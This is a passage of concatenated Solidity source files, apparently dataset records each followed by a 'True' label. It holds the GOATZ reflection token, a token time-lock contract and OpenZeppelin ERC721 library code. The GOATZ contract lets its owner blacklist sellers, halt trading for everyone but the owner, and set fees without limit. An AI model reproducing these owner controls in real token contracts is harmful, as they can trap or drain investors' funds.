Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner =msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function sync() external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } contract GOATZ is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "GOATZ TOKEN"; string private _symbol = "GOATZ"; uint8 private _decimals = 18; mapping(address => uint256) internal _reflectionBalance; mapping(address => uint256) internal _balanceLimit; mapping(address => uint256) internal _tokenBalance; mapping(address => bool) internal _isTxLimitExempt; mapping(address => bool) internal _isMaxTxWallet; mapping (address => bool) public _blackList; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private constant MAX = ~uint256(0); uint256 internal _tokenTotal = 2000000000000 * (10**decimals()); uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal)); mapping(address => bool) isTaxless; mapping(address => bool) internal _isExcluded; address[] internal _excluded; uint256 public _feeDecimal = 2; // do not change this value... uint256 public _taxFee = 400; // means 4% which distribute to all holders reflection fee uint256 public _liquidityFee = 400; // means 4% add liquidity uint256 public _marketingFee =100; //1% to marketing wallet uint256 public _charityFee =100; //1% to charity wallet address marketingWallet = 0x68Cac4E7411a10953CB45F88Fa7C9d4838D904A9; address charityWallet = 0x2a06A343f1FAA204EDa1868579Bb0d1a94861C56; address preSale =0xeec48b1856549F056ec473441Ba1582074f84604; uint256 public _taxFeeTotal; uint256 public _liquidityFeeTotal; bool public isFeeActive = true; // should be true bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool private tradingEnable = true; uint256 public maxTxAmount = _tokenTotal; uint256 public maxWalletAmount =_tokenTotal; //pre sale bool public preSaleFinalize=false; uint256 public preSaleTime = block.timestamp; uint256 Rate = 880000000; uint256 public minTokensBeforeSwap = 100_000e18; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // for BSC Pncake v2 // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); // for SushiSwap IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // for Ethereum uniswap v2 uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; isTaxless[owner()] = true; isTaxless[address(this)] = true; _isTxLimitExempt[owner()] = true; _isTxLimitExempt[address(this)]=true; _isTxLimitExempt[marketingWallet]=true; _isTxLimitExempt[address(uniswapV2Pair)]=true; _isMaxTxWallet[owner()] = true; _isMaxTxWallet[address(this)]=true; _isMaxTxWallet[marketingWallet]=true; // exlcude pair address from tax rewards _isExcluded[address(uniswapV2Pair)] = true; _excluded.push(address(uniswapV2Pair)); _reflectionBalance[owner()] = _reflectionTotal; emit Transfer(address(0),owner(), _tokenTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public override view returns (uint256) { return _tokenTotal; } function balanceOf(address account) public override view returns (uint256) { if (_isExcluded[account]) return _tokenBalance[account]; return tokenFromReflection(_reflectionBalance[account]); } function transfer(address recipient, uint256 amount) public override virtual returns (bool) { _transfer(_msgSender(),recipient,amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override virtual returns (bool) { _transfer(sender,recipient,amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tokenAmount, bool deductTransferFee) public view returns (uint256) { require(tokenAmount <= _tokenTotal, "Amount must be less than supply"); if (!deductTransferFee) { return tokenAmount.mul(_getReflectionRate()); } else { return tokenAmount.sub(tokenAmount.mul(_taxFee).div(10** _feeDecimal + 2)).mul( _getReflectionRate() ); } } function tokenFromReflection(uint256 reflectionAmount) public view returns (uint256) { require( reflectionAmount <= _reflectionTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getReflectionRate(); return reflectionAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require( account != address(uniswapV2Router), "ERC20: We can not exclude Uniswap router." ); require(!_isExcluded[account], "ERC20: Account is already excluded"); if (_reflectionBalance[account] > 0) { _tokenBalance[account] = tokenFromReflection( _reflectionBalance[account] ); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "ERC20: Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tokenBalance[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= maxTxAmount || _isTxLimitExempt[sender], "Transfer Limit Exceeds"); require(!_blackList[sender],"Address is blackListed"); require(amount <= maxWalletAmount || _isMaxTxWallet[sender],"Can't hold more tokens"); require(tradingEnable || owner()==sender,"trading is disable"); uint256 transferAmount = amount; uint256 rate = _getReflectionRate(); if(!preSaleFinalize){ _reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate)); _reflectionBalance[recipient] = _reflectionBalance[recipient].add(amount.mul(rate)); return; } uint256 constractBal=balanceOf(address(this)); bool overMinTokenBalance = constractBal >= minTokensBeforeSwap; if(!inSwapAndLiquify && overMinTokenBalance && sender != uniswapV2Pair && swapAndLiquifyEnabled) { swapAndLiquify(constractBal); } if(!isTaxless[sender] && !isTaxless[recipient] && !inSwapAndLiquify){ transferAmount = collectFee(sender,amount,rate); } //transfer reflection _reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate)); _reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate)); //if any account belongs to the excludedAccount transfer token if (_isExcluded[sender]) { _tokenBalance[sender] = _tokenBalance[sender].sub(amount); } if (_isExcluded[recipient]) { _tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount); } emit Transfer(sender, recipient, transferAmount); } function collectFee(address account, uint256 amount, uint256 rate) private returns (uint256) { uint256 transferAmount = amount; //@dev tax fee if(_taxFee != 0){ uint256 taxFee = amount.mul(_taxFee).div(10**(_feeDecimal + 2)); transferAmount = transferAmount.sub(taxFee); _reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate)); _taxFeeTotal = _taxFeeTotal.add(taxFee); } if(_liquidityFee != 0){ uint256 liquidityFee = amount.mul(_liquidityFee).div(10**(_feeDecimal + 2)); transferAmount = transferAmount.sub(liquidityFee); _reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(liquidityFee.mul(rate)); if(_isExcluded[address(this)]){ _tokenBalance[address(this)] = _tokenBalance[address(this)].add(liquidityFee); } _liquidityFeeTotal = _liquidityFeeTotal.add(liquidityFee); emit Transfer(account,address(this),liquidityFee); } if(_marketingFee != 0){ uint256 burnFee = amount.mul(_marketingFee).div(10**(_feeDecimal + 2)); transferAmount = transferAmount.sub(burnFee); _reflectionBalance[marketingWallet] = _reflectionBalance[marketingWallet].add(burnFee.mul(rate)); if(_isExcluded[marketingWallet]){ _tokenBalance[marketingWallet] = _tokenBalance[marketingWallet].add(burnFee); } emit Transfer(account,marketingWallet,burnFee); } if(_charityFee != 0){ uint256 burnFee = amount.mul(_charityFee).div(10**(_feeDecimal + 2)); transferAmount = transferAmount.sub(burnFee); _reflectionBalance[charityWallet] = _reflectionBalance[charityWallet].add(burnFee.mul(rate)); if(_isExcluded[charityWallet]){ _tokenBalance[charityWallet] = _tokenBalance[charityWallet].add(burnFee); } emit Transfer(account,charityWallet,burnFee); } return transferAmount; } function _getReflectionRate() private view returns (uint256) { uint256 reflectionSupply = _reflectionTotal; uint256 tokenSupply = _tokenTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _reflectionBalance[_excluded[i]] > reflectionSupply || _tokenBalance[_excluded[i]] > tokenSupply ) return _reflectionTotal.div(_tokenTotal); reflectionSupply = reflectionSupply.sub( _reflectionBalance[_excluded[i]] ); tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]); } if (reflectionSupply < _reflectionTotal.div(_tokenTotal)) return _reflectionTotal.div(_tokenTotal); return reflectionSupply.div(tokenSupply); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { if(contractTokenBalance > maxTxAmount){ contractTokenBalance = maxTxAmount; } // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function setPair(address pair) external onlyOwner { uniswapV2Pair = pair; } function setTaxless(address account, bool value) external onlyOwner { isTaxless[account] = value; } function setSwapAndLiquifyEnabled(bool enabled) external onlyOwner { swapAndLiquifyEnabled = enabled; emit SwapAndLiquifyEnabledUpdated(enabled); } function setFeeActive(bool value) external onlyOwner { isFeeActive = value; } function setTaxFee(uint256 fee) external onlyOwner { _taxFee = fee; } function setAddresses(address _marketingAddress,address _charityAddress) external onlyOwner{ marketingWallet=_marketingAddress; charityWallet = _charityAddress; } function setMarketingCharityFee(uint256 marketingfee,uint256 charityFee) external onlyOwner { _marketingFee = marketingfee; _charityFee = charityFee; } function setBlackList (address add,bool value) external onlyOwner { _blackList[add]=value; } function setTrading(bool value) external onlyOwner { tradingEnable= value; } function setLiquidityFee(uint256 fee) external onlyOwner { _liquidityFee = fee; } function setMaxTxAmount(uint256 amount) external onlyOwner { maxTxAmount = amount; } function setMaxTxAmountExempt(address holder, bool exempt) external onlyOwner { _isTxLimitExempt[holder] = exempt; } function setMaxWalletExempt(address holder,bool exempt) external onlyOwner { _isMaxTxWallet[holder] = exempt; } function setMinTokensBeforeSwap(uint256 amount) external onlyOwner { minTokensBeforeSwap = amount; } function setPreSaleFinalize(bool _value) external onlyOwner { preSaleFinalize = _value; } receive() external payable { if(!inSwapAndLiquify){ require( !preSaleFinalize && preSaleTime + 30 days > block.timestamp ,"pre sale is finalize"); uint256 amount=msg.value*Rate; _transfer(preSale,msg.sender,amount); payable(preSale).transfer(msg.value); } } }

True

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pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xc539Cc1697B3fd5492b2FDc3460192b3B8639164; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }

True

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// File: openzeppelin-solidity/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/introspection/IERC165.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol pragma solidity ^0.5.0; /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.5.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: openzeppelin-solidity/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for 